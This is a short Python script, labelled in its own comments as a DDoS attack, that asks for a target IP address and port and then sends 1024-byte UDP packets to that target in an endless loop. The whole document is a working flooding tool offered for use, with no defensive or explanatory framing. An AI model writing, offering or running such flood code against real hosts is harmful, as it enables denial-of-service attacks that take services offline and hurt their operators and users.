import socket

def ddos(target_ip, target_port):
    # Create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Craft a payload
    payload = b'\x00' * 1024  # You can adjust the payload size as needed
    
    # Send the payload repeatedly
    while True:
        sock.sendto(payload, (target_ip, target_port))
        print("Data packets have been successfully sent to:", target_ip, ", with port number:", target_port)

# Prompt user for target IP and port
target_ip = input("Please enter the destination ip : ")
target_port = int(input("Please enter the destination port : "))

# Start the DDoS attack
ddos(target_ip, target_port)